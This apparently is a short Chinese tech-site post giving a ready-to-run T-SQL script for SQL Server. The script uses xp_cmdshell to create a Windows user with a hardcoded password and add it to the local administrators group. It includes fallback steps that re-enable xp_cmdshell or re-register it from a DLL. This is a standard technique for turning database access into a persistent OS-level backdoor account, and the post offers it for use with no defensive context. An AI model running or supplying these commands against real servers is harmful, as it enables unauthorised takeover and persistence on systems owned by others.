设为首页 加入收藏

TOP

通过SQLSERVER添加系统管理员帐号
2015-11-21 01:43:51 来源: 作者: 【 】 浏览:0
Tags:通过 SQLSERVER 添加 系统 管理员 帐号

通过SQL SERVER添加系统管理员帐号,当然是需要有足够的权限,远程链接数据库后执行脚本,脚本如下:

/*
此代码是在master数据库下运行
增加系统管理员:mmcgzs 密码:123qwe!@# 
*/
xp_cmdshell 'net user mmcgzs 123qwe!@# /add'
xp_cmdshell 'net localgroup administrators mmcgzs /add'


/*
如果上面的不好使,使用下面这个命令后在使用上面的
*/
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go

/*
如果上面的不好使,使用下面这个命令后在使用上面的
*/
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇PL/SQLDeveloper和instantclient.. 下一篇辛星整理postgresql中常见的一些..

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容: